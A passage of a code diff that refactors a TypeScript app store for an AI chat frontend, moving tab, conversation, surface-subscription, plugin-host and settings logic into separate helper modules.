- * `watchStores` (separate from tabs — never opens a tab), subscribes to its
- * live turn stream, and loads history. Deltas route to it via `handleChatMessage`.
- * Pair with {@link unwatchConversation} on close.
- */
- function watchConversation(conversationId: string): ChatStore {
- // An open tab already has a live store + subscription — reuse it.
- const tabStore = chatStores.get(conversationId);
- if (tabStore !== undefined) return tabStore;
- const existing = watchStores.get(conversationId);
- if (existing !== undefined) return existing;
- const store = createChatFor(conversationId, activeModel, activeWorkspaceId);
- watchStores.set(conversationId, store);
- void store.load();
- subscribeChat(conversationId);
- return store;
- }
-
- /**
- * Dispose + unsubscribe a watch opened by {@link watchConversation}. A no-op if
- * the conversation was (or became) an open TAB — the tab owns its store +
- * subscription, so nothing is torn down (closing the modal must not disturb the
- * tab strip). Only the ephemeral watch store is disposed + unsubscribed.
- */
- function unwatchConversation(conversationId: string): void {
- // A tab reuses its own store — leave it (and its subscription) intact.
- if (chatStores.has(conversationId)) return;
- const store = watchStores.get(conversationId);
- if (store === undefined) return;
- store.dispose();
- watchStores.delete(conversationId);
- unsubscribeChat(conversationId);
- }
-
- /**
- * Tell the backend the user EXPLICITLY closed this conversation's tab
- * (`POST /conversations/:id/close`): aborts any in-flight turn (it seals with
- * `reason: "aborted"`) and stops + DISABLES its cache-warming (persisted OFF).
- * Distinct from a disconnect / `chat.unsubscribe`, which deliberately leave
- * both running. Fire-and-forget: a failure is non-fatal (worst case the
- * warming keeps running until a later close/toggle), and the endpoint is
- * idempotent server-side.
- */
- function closeConversation(conversationId: string): void {
- void fetchImpl(`${httpBase}/conversations/${encodeURIComponent(conversationId)}/close`, {
- method: "POST",
- }).catch((err) => {
- reportError("Failed to close conversation", err);
- });
- }
-
/** The conversation the surfaces should scope to (undefined for a draft). */
function focusedConversationId(): string | undefined {
return tabsStore.activeConversationId ?? undefined;
@@ -886,97 +224,35 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
* promotion (first send), so a cwd set on a draft carries into the real turn.
*/
function workspaceConversationId(): string {
- return tabsStore.activeConversationId ?? draftConversationId;
+ return tabsStore.activeConversationId ?? registry.draftConversationId;
}
- function handleServerMessage(msg: SurfaceServerMessage): void {
- protocol = applyServerMessage(protocol, msg);
- // Surfaces are auto-expanded: whenever the catalog changes, subscribe to
- // every entry (and drop subscriptions for entries that vanished).
- if (msg.type === "catalog") {
- syncSubscriptions();
- }
- }
-
- /**
- * Subscribe to every catalog entry, scoped to the focused conversation, and
- * unsubscribe stragglers. Re-run on conversation switch: a conversation-scoped
- * surface (e.g. cache-warming) re-scopes to the new id (`protocolSubscribe`
- * emits unsubscribe-old + subscribe-new); a global surface ignores the id.
- */
- function syncSubscriptions(): void {
- const cid = focusedConversationId();
- for (const entry of protocol.catalog) {
- // A GLOBAL surface ignores conversation scope — subscribe it WITHOUT an id
- // so a conversation switch doesn't churn a redundant unsubscribe+subscribe
- // round trip ([email protected] catalog `scope`; ABSENT = assume
- // conversation-scoped, the conservative pre-0.2.0 policy).
- const scoped = entry.scope === "global" ? undefined : cid;
- const result = protocolSubscribe(protocol, entry.id, scoped);
- protocol = result.state;
- for (const msg of result.outgoing) {
- socket?.send(msg);
- }
- }
- const catalogIds = new Set(protocol.catalog.map((e) => e.id));
- for (const id of [...protocol.subscriptions.keys()]) {
- if (!catalogIds.has(id)) {
- const result = protocolUnsubscribe(protocol, id);
- protocol = result.state;
- for (const msg of result.outgoing) {
- socket?.send(msg);
- }
- }
- }
- }
+ const surfaces = createSurfaceProtocol({
+ focusedConversationId,
+ send: (msg) => socket?.send(msg),
+ });
let socket: ReturnType<typeof createSurfaceSocket> | null = null;
- /**
- * Open a conversation tab — used by the `conversation.open` WS broadcast
- * (CLI `--open` flag) and by `conversation.statusChanged` when a new active
- * conversation is discovered. If the conversation is already open, this is a
- * no-op; otherwise create a chat store, load its history, subscribe to its live
- * turns, and add the tab WITHOUT switching the active conversation (the user
- * stays on their current tab; the new tab appears in the strip). The tab is
- * stamped with the conversation's actual `workspaceId`, NOT the viewer's
- * currently active workspace.
- */
- function openConversation(conversationId: string, workspaceId: string): void {
- if (chatStores.has(conversationId)) return;
- const store = createChatFor(conversationId, activeModel, workspaceId);
- chatStores.set(conversationId, store);
- void store.load();
- subscribeChat(conversationId);
- tabsStore.openTab({
- conversationId,
- model: activeModel,
- title: "Conversation",
- workspaceId,
- });
- }
-
- /**
- * Remove a tab + its chat store locally (NO `POST /close` — used when the
- * backend already marked the conversation `closed` via `conversation.statusChanged`).
- */
- function removeTabLocally(conversationId: string): void {
- unsubscribeChat(conversationId);
- const store = chatStores.get(conversationId);
- if (store !== undefined) {
- store.dispose();
- chatStores.delete(conversationId);
- }
- void cache.delete(conversationId);
- tabsStore.closeTab(conversationId);
- conversationStatuses.delete(conversationId);
- refreshActiveChat();
- syncSubscriptions();
- void refreshCwd();
- void refreshComputer();
- void refreshReasoningEffort();
- void refreshCompactPercent();
- }
+ const conversations = createOpenConversations({
+ httpBase,
+ fetchImpl,
+ tabsStore,
+ registry,
+ cache,
+ activeModel: () => activeModel,
+ settings,
+ syncSubscriptions: surfaces.syncSubscriptions,
+ reportError,
+ });
+ const httpActions = createHttpActions({
+ httpBase,
+ fetchImpl,
+ activeConversationId: () => tabsStore.activeConversationId,
+ activeModel: () => activeModel,
+ activeWorkspaceId: () => activeWorkspaceId,
+ reportError,
+ });
/**
* Surface a swallowed error to the user via the full-screen error modal
@@ -992,229 +268,133 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
fatalError = `${context}\n\n${detail}`;
}
- // Conversation lifecycle status (backend-owned, pushed via WS +
- // fetched on connect). Keyed by conversationId.
- let conversationStatuses = $state<Map<string, ConversationStatus>>(new Map());
-
- // The set of workspaces with ≥1 active/queued conversation, derived ONCE
- // (not recomputed per card). Every active/queued conversation has an open
- // tab stamped with its workspace, so the tabs are the conversation→workspace
- // map; cross-reference with the lifecycle statuses. `$derived` recomputes
- // lazily when the tab set or status map changes, so each
- // `workspaceHasActiveConversations` call is an O(1) lookup instead of a scan
- // of the full tab list per card.
- const activeWorkspaces = $derived.by(() => {
- const out = new Set<string>();
- for (const tab of tabsStore.tabs) {
- const status = conversationStatuses.get(tab.conversationId);
- if (status === "active" || status === "queued") out.add(tab.workspaceId);
- }
- return out;
+ // ── Frontend plugins (plan 03) ─────────────────────────────────────────────
+ // The ABI driver's composition-root wiring: one host instance per app
+ // store. `sync()` runs on boot, on `extensions-changed`, and on every
+ // workspace switch (the three load-lifecycle triggers — the active
+ // workspace is read per call, which makes workspace.set meaningful).
+ // The surfaces ports delegate to the SAME protocol/socket machinery the
+ // app store's own surface methods use (closure functions below, shared
+ // with the returned object — no second protocol state).
+ const pluginHost = createPluginHost({
+ http: pluginsHttp,
+ httpBase,
+ reporter: pluginsStore,
+ activeWorkspaceId: () => activeWorkspaceId,
+ surfaces: {
+ subscribe: (surfaceId, conversationId) =>
+ surfaces.subscribeSurfaceOp(surfaceId, conversationId),
+ unsubscribe: (surfaceId, conversationId) =>
+ surfaces.unsubscribeSurfaceOp(surfaceId, conversationId),
+ invoke: (surfaceId, actionId, payload, conversationId) =>
+ surfaces.invokeSurfaceOp(surfaceId, actionId, payload, conversationId),
+ getSpec: (surfaceId) => surfaces.surfaceSpecOp(surfaceId),
+ },
+ // plan 04 §4.5: the plugins' `api.layout` port — applyOps posts to the
+ // ACTIVE workspace's provider (the ops route) and feeds the returned
+ // tree back through the store (instant local echo; the WS broadcast is
+ // every client's authoritative copy); getTree exposes the active tree
+ // only while a provider is PRESENT (null = no-provider mode).
+ layout: createLayoutAbiPort({
+ store: layoutStore,
+ postOps: (workspaceId, ops) => layoutHttp.postOps(workspaceId, ops),
+ }),
});
- /**
- * Fetch `GET /conversations?status=active,idle` on connect to restore the
- * tab bar across devices. Merges: opens tabs for conversations not already
- * open, removes tabs for conversations that are no longer active/idle
- * (closed on another device), and subscribes to `active` conversations'
- * live streams.
- */
- async function fetchOpenConversations(): Promise<void> {
- try {
- const res = await fetchImpl(`${httpBase}/conversations?status=active,idle`);
- if (!res.ok) return;
- const data = (await res.json()) as ConversationListResponse;
-
- // Update the status map from the authoritative backend list.
- const newStatuses = new Map<string, ConversationStatus>();
- for (const conv of data.conversations) {
- newStatuses.set(conv.id, conv.status);
- }
- conversationStatuses = newStatuses;
-
- // Open tabs for conversations not already open.
- const existingIds = new Set(chatStores.keys());
- for (const conv of data.conversations) {
- if (!existingIds.has(conv.id)) {
- const store = createChatFor(conv.id, activeModel, conv.workspaceId);
- chatStores.set(conv.id, store);
- void store.load();
- subscribeChat(conv.id);
- tabsStore.openTab({
- conversationId: conv.id,
- model: activeModel,
- title: conv.title,
- workspaceId: conv.workspaceId,
- });
- } else {
- // Already open — update the title from the backend if it differs.
- tabsStore.setTitle(conv.id, conv.title);
- }
- }
-
- // Remove tabs for conversations no longer active/idle (closed elsewhere).
- const backendIds = new Set(data.conversations.map((c) => c.id));
- for (const tab of tabsStore.tabs) {
- if (!backendIds.has(tab.conversationId)) {
- removeTabLocally(tab.conversationId);
- }
- }
- } catch (err) {
- reportError(
- `Failed to load conversations from the backend.\n\nURL: ${httpBase}/conversations?status=active,idle`,
- err,
- );
- }
- }
-
- const socketOpts: SurfaceSocketOptions = {
+ const socketOpts = createWsHandlers({
url: wsUrl,
- onMessage: handleServerMessage,
- onChat: handleChatMessage,
- onConversationOpen(msg: ConversationOpenMessage): void {
- openConversation(msg.conversationId, msg.workspaceId);
- },
- onConversationStatusChanged(msg: ConversationStatusChangedMessage): void {
- const { conversationId, status, workspaceId } = msg;
- if (status === "closed") {
- // Closed on another device (or the backend) — remove the tab locally.
- if (chatStores.has(conversationId)) {
- removeTabLocally(conversationId);
- }
- return;
- }
- // active / queued / idle — update the status map (drives the tab spinner).
- // `queued` = the turn is in flight but waiting for a concurrency slot
- // (broadcast-only, never persisted — CR-13); the tab shows a ring.
- conversationStatuses = new Map(conversationStatuses).set(conversationId, status);
- // If this is a new active OR queued conversation we don't have a tab for,
- // open one — so a cross-device turn (incl. one waiting in the concurrency
- // queue) is visible. `idle` never opens a tab.
- if ((status === "active" || status === "queued") && !chatStores.has(conversationId)) {
- openConversation(conversationId, workspaceId);
- }
- },
- onConversationCompacted(msg: ConversationCompactedMessage): void {
- // Compaction keeps the conversation ID — the old full history is forked
- // to an archive (newConversationId). Just reload the same conversation's
- // history (dispose stale store + cache + re-fetch).
- const cid = msg.conversationId;
- const wasActive = tabsStore.activeConversationId === cid;
- const store = chatStores.get(cid);
- if (store !== undefined) {
- store.dispose();
- }
- void cache.delete(cid);
- const fresh = createChatFor(cid, activeModel, activeWorkspaceId);
- chatStores.set(cid, fresh);
- void fresh.load();
- if (wasActive) {
- refreshActiveChat();
- }
- },
- onReopen() {
- // The server forgot our subscriptions on reconnect; re-send each with the
- // conversation it was subscribed under (protocolSubscribe would no-op since
- // they're still in our local map, so emit the wire messages directly).
- for (const [surfaceId, sub] of protocol.subscriptions) {
- const msg: SubscribeMessage =
- sub.conversationId === undefined
- ? { type: "subscribe", surfaceId }
- : { type: "subscribe", surfaceId, conversationId: sub.conversationId };
- socket?.send(msg);
- }
- // Re-attach to every open conversation's turn stream. A turn that kept
- // running while we were disconnected resumes streaming (server replays it
- // from `turn-start`); one that sealed while we were gone is committed from
- // history by `resync()` (which also clears a now-stale "generating").
- for (const tab of tabsStore.tabs) {
- subscribeChat(tab.conversationId);
- chatStores.get(tab.conversationId)?.resync();
- }
- // Re-attach to every MODAL watch too (a run-chat modal open across a
- // reconnect keeps streaming). Watch stores are separate from tabs.
- for (const [watchId, watchStore] of watchStores) {
- subscribeChat(watchId);
- watchStore.resync();
- }
- },
- };
+ send: (msg) => socket?.send(msg),
+ registry,
+ conversations,
+ surfaces,
+ cache,
+ tabsStore,
+ activeWorkspaceId: () => activeWorkspaceId,
+ workspaceSetMsg: (id) => workspaceSetMsg(id),
+ pluginsStore,
+ pluginHost,
+ layoutStore,
+ tileLayoutStore,
+ refreshers,
+ reportError,
+ });
if (opts?.socketFactory !== undefined) {
socketOpts.socketFactory = opts.socketFactory;
}
socket = createSurfaceSocket(socketOpts);
- // Fetch model catalog
- void fetchImpl(`${httpBase}/models`)
- .then((res) => {
- if (!res.ok) return;
- return res.json() as Promise<ModelsResponse>;
- })
- .then((data) => {
- if (data === undefined) return;
- models = data.models;
- modelInfo = data.modelInfo ?? {};
- if (data.models.length > 0 && !data.models.includes(activeModel)) {
- const first = data.models[0];
- if (first !== undefined) {
- activeModel = first;
- draftStore.setModel(first);
- }
- }
- })
- .catch((err) => {
- reportError("Failed to load model list", err);
- });
-
- // Fetch the discovered-computer catalog (global, like models). Empty until
- // the `ssh` extension lands — a safe no-op until then (the selector shows
- // "Local (none)" only). Non-fatal: a failure leaves an empty list.
- void fetchImpl(`${httpBase}/computers`)
- .then((res) => {
- if (!res.ok) return { computers: [] } as ComputerListResponse;
- return res.json() as Promise<ComputerListResponse>;
- })
- .then((data) => {
- computers = data?.computers ?? [];
- })
- .catch((err) => {
- reportError("Failed to load computer list", err);
- });
+ // Tell the backend THIS connection's active workspace (plan 06 §6.4). The
+ // socket queues the send until the connection opens; on receipt the server
+ // re-pushes the workspace-filtered surface catalog. Also refreshed on
+ // reconnect (onReopen — a new connection is anonymous again).
+ const workspaceSetMsg = (workspaceId: string): WorkspaceSetMessage => ({
+ type: "workspace.set",
+ workspaceId,
+ });
+ socket.send(workspaceSetMsg(activeWorkspaceId));
+
+ // Fetch the model catalog (workspace-scoped — plan 06 §6.5).
+ void refreshers.refreshModels();
+ // Fetch the active workspace's provider status (§6.5 first-boot guardrail).
+ void refreshers.refreshProviderStatus();
+ // Probe the ACTIVE layout provider (plan 02 §2.6 boot trigger): the tree is
+ // served by the backend's layout plugin when one is active. `boot: true`
+ // arms the one-way §2.7 localStorage migration on the first success.
+ void layoutStore.probe(activeWorkspaceId, { boot: true });
+ // Frontend plugins (plan 03): the load lifecycle's boot trigger — every
+ // loaded ∧ enabled ∧ frontend-declaring ∧ handshake-passing plugin is
+ // imported + activated (after the first list fetch lands).
+ void pluginHost.sync();
+ // One-time legacy model-name migration on boot (independent of the fetch;
+ // preserved from the pre-refreshModels boot chain).
+ if (migrateLegacyModelName(activeModel) !== activeModel) {
+ activeModel = migrateLegacyModelName(activeModel);
+ }
+
+ refreshers.loadGlobalCatalogs();
// Restore persisted tabs
const persistedState = storageAdapter.load();
if (persistedState !== null && persistedState.tabs.length > 0) {
for (const tab of persistedState.tabs) {
- const store = createChatFor(tab.conversationId, tab.model, tab.workspaceId);
- chatStores.set(tab.conversationId, store);
- void store.load();
+ // One-time persisted-state migration: rewrite a legacy `opencode/<model>`
+ // tab model to the numbered `opencode-1/<model>` namespace, and persist the
+ // migrated value back so a re-load is a no-op (idempotent).
+ const model = migrateLegacyModelName(tab.model);
+ if (model !== tab.model) {
+ tabsStore.setModel(tab.conversationId, model);
+ }
+ const store = registry.createChatFor(tab.conversationId, model, tab.workspaceId);
+ registry.chatStores.set(tab.conversationId, store);
// Watch each restored conversation's live turns: after a reload mid-turn the
// server replays the in-flight turn so we keep rendering it. Queued until the
// socket opens.
- subscribeChat(tab.conversationId);
+ registry.subscribeChat(tab.conversationId);
}
if (persistedState.activeConversationId !== null) {
const activeTab = persistedState.tabs.find(
(t) => t.conversationId === persistedState.activeConversationId,
);
if (activeTab !== undefined) {
- activeModel = activeTab.model;
+ activeModel = migrateLegacyModelName(activeTab.model);
+ namedAgentSnapshot = activeTab.snapshot ?? null;
}
}
}
- refreshActiveChat();
- void refreshCwd();
- void refreshComputer();
+ registry.refreshActiveChat();
+ void settings.refreshCwd();
+ void settings.refreshComputer();
void refreshModel();
- void refreshReasoningEffort();
- void refreshCompactPercent();
- void refreshVisionSettings();
+ void settings.refreshReasoningEffort();
+ void settings.refreshThinking();
+ void settings.refreshCompactPercent();
+ void settings.refreshVisionSettings();
// Fetch the authoritative open-conversation list from the backend (cross-
// device tab sync). Merges with the localStorage-restored tabs: opens new
// ones, removes closed ones, updates titles + statuses.
- void fetchOpenConversations();
+ void conversations.fetchOpenConversations();
return {
get tabs(): readonly Tab[] {
@@ -1231,162 +411,209 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
},
setActiveWorkspace(workspaceId: string): void {
activeWorkspaceId = workspaceId;
+ // Tell the backend the switch (plan 06 §6.4): workspace switching is
+ // instant + client-side, so the server must be told explicitly — it
+ // re-pushes the workspace-filtered surface catalog on receipt. The send
+ // is idempotent + queued until the socket opens.
+ socket?.send(workspaceSetMsg(workspaceId));
// Reset to a fresh draft scoped to the new workspace so a new chat is
// stamped with the right `workspaceId` on `chat.send`.
const nextDraftId = randomId();
- draftStore = createChatFor(nextDraftId, activeModel, workspaceId);
- draftConversationId = nextDraftId;
+ registry.draftStore = registry.createChatFor(nextDraftId, activeModel, workspaceId);
+ registry.draftConversationId = nextDraftId;
tabsStore.newDraft();
- refreshActiveChat();
- syncSubscriptions();
- void refreshCwd();
- void refreshComputer();
+ namedAgentSnapshot = null;
+ registry.refreshActiveChat();
+ surfaces.syncSubscriptions();
+ void settings.refreshCwd();
+ void settings.refreshComputer();
void refreshModel();
- void refreshReasoningEffort();
- void refreshCompactPercent();
+ void settings.refreshReasoningEffort();
+ void settings.refreshThinking();
+ void settings.refreshCompactPercent();
+ // The model picker + provider guardrail are WORKSPACE-SCOPED now
+ // (plan 06 §6.5): refetch both for the new workspace.
+ void refreshers.refreshModels();
+ void refreshers.refreshProviderStatus();
+ // The tile tree is WORKSPACE-SCOPED too (plan 02): reset to the local
+ // default for the new workspace and probe its provider (§2.6 — every
+ // workspace switch is a probe, which is also the missed-push catch-up).
+ layoutStore.onWorkspaceChanged(workspaceId);
+ // Frontend plugins (plan 03): the load lifecycle's workspace.set
+ // trigger — the enablement set is WORKSPACE-SCOPED, so a switch may
+ // load and unload frontend plugins.
+ void pluginHost.sync();
},
get activeChat(): ChatStore {
- return activeChat;
+ return registry.activeChat;
},
get models(): readonly string[] {
- return models;
+ return refreshers.models;
},
get modelInfo(): Readonly<Record<string, ModelMetadata>> {
- return modelInfo;
+ return refreshers.modelInfo;
},
get activeModel(): string {
return activeModel;
},
get catalog() {
- return protocol.catalog;
+ return surfaces.protocol.catalog;
},
get surfaces(): readonly SurfaceSpec[] {
const out: SurfaceSpec[] = [];
- for (const entry of protocol.catalog) {
- const spec = getSurfaceSpec(protocol, entry.id);
+ for (const entry of surfaces.protocol.catalog) {
+ const spec = getSurfaceSpec(surfaces.protocol, entry.id);
if (spec) out.push(spec);
}
return out;
},
get lastError() {
- return protocol.lastError;
+ return surfaces.protocol.lastError;
},
get storage() {
return localStorageOpt;
},
+ get textFileContextRevision(): number {
+ return settings.textFileContextRevision;
+ },
+ createTextFileClient(conversationId) {
+ return createTextFileClient(httpBase, conversationId, fetchImpl);
+ },
get cwd(): string | null {
- return cwd;
+ return settings.cwd;
},
get computerId(): string | null {
- return computerId;
+ return settings.computerId;
},
get computers(): readonly ComputerEntry[] {
- return computers;
+ return refreshers.computers;
},
get reasoningEffort(): ReasoningEffort | null {
- return reasoningEffort;
+ return settings.reasoningEffort;
+ },
+ get thinking(): boolean | null {
+ return settings.thinking;
},
get compactPercent(): number | null {
- return compactPercent;
+ return settings.compactPercent;
},
get visionSettings(): VisionSettings | null {
- return visionSettings;
+ return settings.visionSettings;
},
async refreshVisionSettings(): Promise<void> {
- await refreshVisionSettings();
+ await settings.refreshVisionSettings();
},
get chatLimit(): number {
- return chatLimit;
+ return registry.chatLimit;
},
conversationStatus(conversationId: string): ConversationStatus | undefined {
- return conversationStatuses.get(conversationId);
+ return conversations.conversationStatuses.get(conversationId);
},
workspaceHasActiveConversations(workspaceId: string): boolean {
// O(1) lookup into the once-derived `activeWorkspaces` set; false when the
// workspace has no active/queued conversation (or none at all).
- return activeWorkspaces.has(workspaceId);
+ return conversations.workspaceHasActiveConversations(workspaceId);
},
get currentConversationId(): string {
return workspaceConversationId();
},
- surface(surfaceId: string): SurfaceSpec | null {
- return getSurfaceSpec(protocol, surfaceId);
+ surface(surfaceId: string, conversationId?: string): SurfaceSpec | null {
+ return surfaces.surfaceSpecOp(surfaceId, conversationId);
},
send(text: string, images?: readonly ImageInput[]): void {
if (tabsStore.activeConversationId === null) {
- // Draft: promote to tab on first send
- const conversationId = draftConversationId;
+ // Draft: promote to tab on first send. Carry a Named Agent selection's
+ // snapshot so the promoted conversation retains how it was selected (§7).
+ const conversationId = registry.draftConversationId;
const model = activeModel;
+ const snapshot = namedAgentSnapshot ?? undefined;
tabsStore.createTab({
conversationId,
model,
title: deriveTitle(text),
workspaceId: activeWorkspaceId,
+ ...(snapshot ? { snapshot } : {}),
});
- chatStores.set(conversationId, draftStore);
- void draftStore.load();
+ registry.chatStores.set(conversationId, registry.draftStore);
// Prepare next draft
const nextDraftId = randomId();
- draftStore = createChatFor(nextDraftId, activeModel, activeWorkspaceId);
- draftConversationId = nextDraftId;
+ registry.draftStore = registry.createChatFor(nextDraftId, activeModel, activeWorkspaceId);
+ registry.draftConversationId = nextDraftId;
- refreshActiveChat();
+ registry.refreshActiveChat();
// The draft became a real conversation: re-scope conversation-scoped
// surfaces (e.g. cache-warming) to its id.
- syncSubscriptions();
- void refreshCwd();
- void refreshComputer();
- void refreshReasoningEffort();
- void refreshCompactPercent();
+ surfaces.syncSubscriptions();
+ void settings.refreshCwd();
+ void settings.refreshComputer();
+ void settings.refreshReasoningEffort();
+ void settings.refreshThinking();
+ void settings.refreshCompactPercent();
// Now send on the promoted store
- chatStores.get(conversationId)?.send(text, images);
+ registry.chatStores.get(conversationId)?.send(text, images);
} else {
- activeChat.send(text, images);
+ registry.activeChat.send(text, images);
}
},
- queueMessage(text: string): void {
+ queueMessage(text: string, images?: readonly ImageInput[]): void {
// Only offered while generating (Composer switches to `chat.queue`
// when `status === "running"`), so a draft (never generating) never
// reaches here. `chat.queue` auto-starts a turn if idle, so even a race
// (turn sealed between the status read and the send) is safe — the
// server starts a fresh turn with the message as its opening prompt.
- activeChat.queueMessage(text);
+ registry.activeChat.queueMessage(text, images);
},
- selectModel(model: string): void {
+ cancelQueuedMessage(messageId: string): void {
+ // Fire-and-forget + idempotent. The message-queue surface (conversation-
+ // scoped) reconciles the queue UI — the cancelled row leaves the snapshot.
+ // A cancel of an already-drained / unknown message is a silent no-op, so
+ // there is no local state to roll back. Delegates to the focused
+ // conversation's chat store, which owns the conversationId + transport.
+ registry.activeChat.cancelQueuedMessage(messageId);
+ },
+
+ selectModel(model: string, snapshot?: NamedAgentSelectionSnapshot): void {
activeModel = model;
+ namedAgentSnapshot = snapshot ?? null;
const activeId = tabsStore.activeConversationId;
if (activeId !== null) {
tabsStore.setModel(activeId, model);
- chatStores.get(activeId)?.setModel(model);
+ tabsStore.setSnapshot(activeId, snapshot ?? null);
+ registry.chatStores.get(activeId)?.setModel(model);
+ registry.chatStores.get(activeId)?.setNamedAgent(snapshot ?? null);
+ const body: SetModelRequest = { model, ...(snapshot ? { namedAgent: snapshot } : {}) };
void fetchImpl(`${httpBase}/conversations/${encodeURIComponent(activeId)}/model`, {
method: "PUT",
headers: { "Content-Type": "application/json" },
- body: JSON.stringify({ model } satisfies SetModelRequest),
+ body: JSON.stringify(body),
}).catch((err) => {
reportError("Failed to persist model", err);
});
} else {
- draftStore.setModel(model);
+ registry.draftStore.setModel(model);
+ registry.draftStore.setNamedAgent(snapshot ?? null);
}
},
newDraft(): void {
tabsStore.newDraft();
const nextDraftId = randomId();
- draftStore = createChatFor(nextDraftId, activeModel, activeWorkspaceId);
- draftConversationId = nextDraftId;
- refreshActiveChat();
- syncSubscriptions();
- void refreshCwd();
- void refreshComputer();
+ registry.draftStore = registry.createChatFor(nextDraftId, activeModel, activeWorkspaceId);
+ registry.draftConversationId = nextDraftId;
+ namedAgentSnapshot = null;
+ registry.refreshActiveChat();
+ surfaces.syncSubscriptions();
+ void settings.refreshCwd();
+ void settings.refreshComputer();
void refreshModel();
- void refreshReasoningEffort();
- void refreshCompactPercent();
+ void settings.refreshReasoningEffort();
+ void settings.refreshThinking();
+ void settings.refreshCompactPercent();
},
selectTab(conversationId: string): void {
@@ -1394,747 +621,150 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
const tab = tabsStore.tabs.find((t) => t.conversationId === conversationId);
if (tab !== undefined) {
activeModel = tab.model;
+ namedAgentSnapshot = tab.snapshot ?? null;
+ } else {
+ namedAgentSnapshot = null;
}
- refreshActiveChat();
- syncSubscriptions();
- void refreshCwd();
- void refreshComputer();
+ registry.refreshActiveChat();
+ surfaces.syncSubscriptions();
+ void settings.refreshCwd();
+ void settings.refreshComputer();
void refreshModel();
- void refreshReasoningEffort();
- void refreshCompactPercent();
+ void settings.refreshReasoningEffort();
+ void settings.refreshThinking();
+ void settings.refreshCompactPercent();
},
closeTab(conversationId: string): void {
// The user is DONE with this chat: abort any in-flight turn + stop/disable
// its cache-warming, server-side (POST /close sets status → "closed").
- closeConversation(conversationId);
- removeTabLocally(conversationId);
+ conversations.closeConversation(conversationId);
+ conversations.removeTabLocally(conversationId);
},
- renameTab(conversationId: string, title: string): void {
- tabsStore.setTitle(conversationId, title);
- void fetchImpl(`${httpBase}/conversations/${encodeURIComponent(conversationId)}/title`, {
- method: "PUT",
- headers: { "Content-Type": "application/json" },
- body: JSON.stringify({ title } satisfies SetTitleRequest),
- }).catch((err) => {
- reportError("Failed to rename conversation", err);
- });
- },
+ renameTab: conversations.renameTab,
+ setTabGroup: conversations.setTabGroup,
invoke(surfaceId: string, actionId: string, payload?: unknown): void {
- const result = protocolInvoke(
- protocol,
- surfaceId,
- actionId,
- payload,
- focusedConversationId(),
- );
- protocol = result.state;
- for (const msg of result.outgoing) {
- socket?.send(msg);
- }
+ surfaces.invokeSurfaceOp(surfaceId, actionId, payload);
},
- async warmNow(): Promise<WarmResult | null> {
- const conversationId = tabsStore.activeConversationId;
- if (conversationId === null) return null;
- const body: WarmRequest = { conversationId, model: activeModel };
- try {
- const res = await fetchImpl(`${httpBase}/chat/warm`, {
- method: "POST",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- });
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return { ok: false, error: errBody?.error ?? `Warm failed (HTTP ${res.status})` };
- }
- return { ok: true, response: (await res.json()) as WarmResponse };
- } catch (err) {
- return { ok: false, error: err instanceof Error ? err.message : "Warm request failed" };
- }
+ subscribeSurface(surfaceId: string, conversationId?: string): void {
+ surfaces.subscribeSurfaceOp(surfaceId, conversationId);
},
- async setCwd(value: string): Promise<CwdResult | null> {
- const id = workspaceConversationId();
- const body: SetCwdRequest = {
- cwd: value,
- workspaceId: untrack(() => activeWorkspaceId),
- };
- try {
- const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/cwd`, {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- });
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return { ok: false, error: errBody?.error ?? `Set cwd failed (HTTP ${res.status})` };
- }
- const data = (await res.json()) as CwdResponse;
- const next = data.cwd ?? null;
- if (workspaceConversationId() === id) cwd = next;
- return { ok: true, cwd: next };
- } catch (err) {
- return { ok: false, error: err instanceof Error ? err.message : "Set cwd request failed" };
- }
+ unsubscribeSurface(surfaceId: string, conversationId?: string): void {
+ surfaces.unsubscribeSurfaceOp(surfaceId, conversationId);
},
- async setComputer(computerIdValue: string | null): Promise<ComputerResult | null> {
- const id = workspaceConversationId();
- const body: SetConversationComputerRequest = { computerId: computerIdValue };
- try {
- const res = await fetchImpl(
- `${httpBase}/conversations/${encodeURIComponent(id)}/computer`,
- {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set computer failed (HTTP ${res.status})`,
- };
- }
- const data = (await res.json()) as ConversationComputerResponse;
- const next = data.computerId ?? null;
- if (workspaceConversationId() === id) computerId = next;
- return { ok: true, computerId: next };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set computer request failed",
- };
- }
- },
+ warmNow: httpActions.warmNow,
- async computerStatus(alias: string): Promise<ComputerStatusResult | null> {
- if (alias === "") return null;
- try {
- const res = await fetchImpl(`${httpBase}/computers/${encodeURIComponent(alias)}/status`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Computer status failed (HTTP ${res.status})`,
- };
- }
- const status = (await res.json()) as ComputerStatusResponse;
- return { ok: true, response: status };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Computer status request failed",
- };
- }
- },
+ setCwd: settings.setCwd,
- async testComputer(alias: string): Promise<TestComputerResult | null> {
- if (alias === "") return null;
- try {
- const res = await fetchImpl(`${httpBase}/computers/${encodeURIComponent(alias)}/test`, {
- method: "POST",
- });
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Test computer failed (HTTP ${res.status})`,
- };
- }
- const response = (await res.json()) as TestComputerResponse;
- return { ok: true, response };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Test computer request failed",
- };
- }
- },
+ setComputer: settings.setComputer,
- async setReasoningEffort(level: ReasoningEffort): Promise<ReasoningEffortResult | null> {
- const id = workspaceConversationId();
- const body: SetReasoningEffortRequest = { reasoningEffort: level };
- try {
- const res = await fetchImpl(
- `${httpBase}/conversations/${encodeURIComponent(id)}/reasoning-effort`,
- {
- method: "PUT",
